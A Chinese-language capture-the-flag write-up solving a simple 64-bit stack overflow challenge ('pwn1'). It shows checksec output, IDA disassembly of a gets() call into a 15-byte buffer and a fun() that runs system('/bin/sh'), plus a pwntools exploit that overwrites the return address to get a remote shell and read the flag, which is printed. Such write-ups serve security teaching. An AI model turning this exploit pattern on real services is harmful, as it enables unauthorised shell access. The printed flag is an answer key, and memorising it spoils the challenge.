

# 1. 使用checksec命令查看保护方式

```
root@Tomorrow:/mnt/SharedFolder# ls
000.py  input.txt  pwn  pwn1  pwn1.id0  pwn1.id1  pwn1.id2  pwn1.nam  pwn1.til  pwn.i64
root@Tomorrow:/mnt/SharedFolder# checksec pwn1
[*] '/mnt/SharedFolder/pwn1'
    Arch:      amd64-64-little
    RELRO:     Partial RELRO
    Stack:     No canary found
    NX:        NX unknown - GNU_STACK missing
    PIE:       No PIE (0x400000)
    Stack:     Executable
    RWX:       Has RWX segments
    Stripped:  No
```

看到没有任何保护，可以直接利用栈溢出攻击

## 2. 使用IDA对pwn1进行反汇编

首先查看main():

```
; Attributes: bp-based frame
; int __fastcall main(int argc, const char **argv, const char **envp)
public main
main proc near

s= byte ptr -0Fh

; _ unwind {
push  rbp
mov   rbp, rsp
sub   rsp, 10h
lea   rdi, s          ; "please input"
call  _puts
lea   rax, [rbp+s]
mov   rdi, rax         ; p_s
mov   eax, 0
call  _gets
lea   rax, [rbp+s]
mov   rdi, rax         ; s
call  _puts
lea   rdi, aOkBye     ; "ok,bye!!!"
call  _puts
mov   eax, 0
leave
ret
; } // starts at 401142
main endp

int __fastcall main(int argc, const char **argv, const char **envp)
{
    char s[15]; // [rsp+1h] [rbp-Fh] BYREF

    puts("please input");
    gets(s, argv);
    puts(s);
    puts("ok,bye!!!");
    return 0;
}
```

其中可以看到main函数定义了应该字符数组s[15]并在shell请求输入，在没有任何保护方式以及判定输入字符串大小的情况下很容易数组越界导致缓冲区溢出，我们可以以此为突破点。

接着找到gets函数的定义处

```

1 // attributes: thunk
2 _int64 __fastcall gets(_int64 p_s, _int64 argv)
3 {
4     return gets(p_s, argv);
5 }

```

可以看到这里没有任何检测输入长度的措施

### 3. 开始寻找可利用栈溢出使程序崩溃的函数地址

在IDA中Shift+F12查找所有字符串，找到了 /bin/sh 很可能是后门

Address	Length	Type	String
LOAD:000...	0000001C	C	/lib64/ld-linux-x86-64.so.2
LOAD:000...	0000000A	C	libc.so.6
LOAD:000...	00000007	C	system
LOAD:000...	00000012	C	__libc_start_main
LOAD:000...	0000000C	C	GLIBC_2.2.5
LOAD:000...	0000000F	C	__gmon_start__
.rodata:...	0000000D	C	please input
.rodata:...	0000000A	C	ok, bye!!!
.rodata:...	00000008	C	/bin/sh
.eh_fram...	00000006	C	;*3\$\\"

.rodata:0000000004020111 aOkBye db 'ok,bye!!!',0 ; DATA XREF: main+31↑o  
双击后 .rodata:00000000040201B ; const char command[] .rodata:00000000040201B command db '/bin/sh',0 ; DATA XREF: fun+4↑o  
.rodata:00000000040201B \_rodata ends .rodata:00000000040201B  
.rodata:00000000040201B

发现 bin/sh 在 fun 函数处交叉引用 (XREF)

找到 fun 函数：

```

.text:000000000401186
.text:000000000401186 ; Attributes: bp-based frame
.text:000000000401186
.text:000000000401186 ; int fun()
.text:000000000401186           public fun
.text:000000000401186 fun      proc near
.text:000000000401186 ; __ unwind {
.text:000000000401186         push    rbp
.text:000000000401187         mov     rbp, rsp
.text:00000000040118A         lea    rdi, command ; "/bin/sh"

```

发现 fun 函数地址：0x401186 fun+4 地址：0x40118A

```

1 int fun()
2 {
3     return system("/bin/sh");
4 }

```

可以确定 0x40118A 就是在 shell 输入 /bin/sh 的指令地址

## 4. 构建payload，编写exp

```
1 from pwn import *
2 # 和靶机进行连接
3 p = remote('ip', port)
4 # 定义fun函数的内存地址
5 fun_addr = 0x40118A
6 # 最后加上p64函数转换的fun函数的地址
7 payload = (b"a" * 15) + (b"b" * 8) + p64(fun_addr)
8 # 定义payload，一共需要15个字节数据a填充s[15]，需要8个字节数据b填充栈帧(RBP)，这些都是垃圾数据
9 print(payload)
10 p.sendline(payload) # 发送payload
11 p.interactive() # 获取靶机交互式终端
```

获取到shell后 ls 查看当前目录文件，发现flag，直接 cat flag

得到flag: flag{be9f04c1-5785-4642-a03e-e5e9c94b94d5}